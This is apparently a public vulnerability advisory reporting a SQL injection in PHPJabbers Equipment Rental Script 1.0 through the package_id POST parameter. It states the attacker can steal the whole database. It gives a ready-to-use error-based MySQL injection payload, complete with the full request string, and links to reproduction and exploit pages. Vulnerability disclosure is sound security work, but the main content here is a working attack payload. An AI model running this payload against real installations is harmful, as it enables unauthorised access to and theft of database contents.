Equipment Rental Script 1.0 SQL Injection Vulnerability

## Title: Equipment Rental Script-1.0 - SQLi
## Author: nu11secur1ty
## Vendor: https://www.phpjabbers.com/
## Software: https://www.phpjabbers.com/equipment-rental-script/#sectionDemo
## Reference: https://portswigger.net/web-security/sql-injection

## Description:
The package_id parameter appears to be vulnerable to SQL injection
attacks. The payload ' was submitted in the package_id parameter, and
a database error message was returned. You should review the contents
of the error message, and the application's handling of other input,
to confirm whether a vulnerability is present. The attacker can steal
all information from the database!

STATUS: HIGH-CRITICAL Vulnerability

[+]Payload:
```mysql
---
Parameter: #1* ((custom) POST)
    Type: error-based
    Title: MySQL OR error-based - WHERE or HAVING clause (FLOOR)
    Payload: package_id=(-4488))) OR 1 GROUP BY
CONCAT(0x71787a6a71,(SELECT (CASE WHEN (7794=7794) THEN 1 ELSE 0
END)),0x7176717671,FLOOR(RAND(0)*2)) HAVING
MIN(0)#from(select(sleep(20)))a)&cnt=2&date_from=12/9/2023&hour_from=11&minute_from=00&date_to=12/9/2023&hour_to=12&minute_to=00
---

```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/phpjabbers/2023/Equipment-Rental-Script-1.0)

## Proof and Exploit:
[href](https://www.nu11secur1ty.com/2023/09/phpjabbers-equipment-rental-script-10.html)

## Time spent:
00:25:00